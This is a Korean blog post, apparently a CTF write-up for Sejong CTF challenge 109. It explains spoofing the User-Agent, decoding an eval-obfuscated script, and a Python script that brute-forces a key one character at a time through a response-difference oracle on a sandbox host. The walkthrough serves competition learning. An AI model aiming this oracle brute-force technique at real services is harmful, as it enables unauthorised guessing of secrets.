일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Sequoia
- 모의해킹
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- 안전결제
- 변태는
- NUGU
- 네이버카페
- XSS
- Malware Sample
- 허리디스크
- 채팅환전사기
- 척추관협착증
- esbuild
- intelmac
- ue4dumper
- CryptoJS
- 취약점
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- 많다..
- react
- self-signed
- ssrf
- 로맨스스캠
- 중고나라
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- shell_gpt
- Frida
- open redirect
- 거래사기
- speed-measure-webpack-plugin
- Today
- Total
annyoung
[세종 CTF/109] 당신은 Robots 입니까? 본문
첫 메인 접속시 로봇이냐고 물어본다.
공격 벡터도 없고 생각좀 하다가 robots.txt가 생각나서 들어가봤다.
SSG_Browser만 접근가능하게끔 되어 있고..
SSG_Browser로 바꿔서 들어가면 위와 같은 인증창이 나오는데 페이지 소스를 본다.
eval코드를 복호화하면 다음과 같은 코드가 나온다.
POST로 값을 보낸다.
a를 보냈을때 리스폰값에 -5가 붙어 있고
4를 넣었을때 -5가 사라진다.
사이드채널어택이나 타이밍 어택으로 보고 코딩시작~
# -*- coding: utf8 -*- import requests alphabet = 'abcdefghijklmnopqrstuvwxyz01234567890' answer = [] while True: find = False for i in range(0, len(alphabet)): data = {'a':''.join(answer)+alphabet[i]} res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content if res.find('-5') == -1: answer.append(alphabet[i]) find = True print ''.join(answer) break if find == False: break print 'Key : ' + ''.join(answer) print '----- webdata -----' data = {'a':''.join(answer)} res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content print res |
유니코드로 출력해주면 끝.
결론은 앙 주난띠!
Thanks to @이준환, @최인준
'문제풀이' 카테고리의 다른 글
[세종 CTF/250] Private Torrent (1) | 2016.04.07 |
---|---|
[세종 CTF/250] Simple_Calculation (0) | 2016.04.07 |
Holyshield 2013 - Findakey (0) | 2014.03.26 |
Hack The Packet 2013 - 동건이는 악성앱을 설치하였다. 이때 정보가 빠져나갔다. 빠져나간 시각을 찾아라. (0) | 2014.03.26 |
Hack The Packet 2013 - 메신저로 전달된 우탱이 먹고 싶은 라면에 이름은? (0) | 2014.03.26 |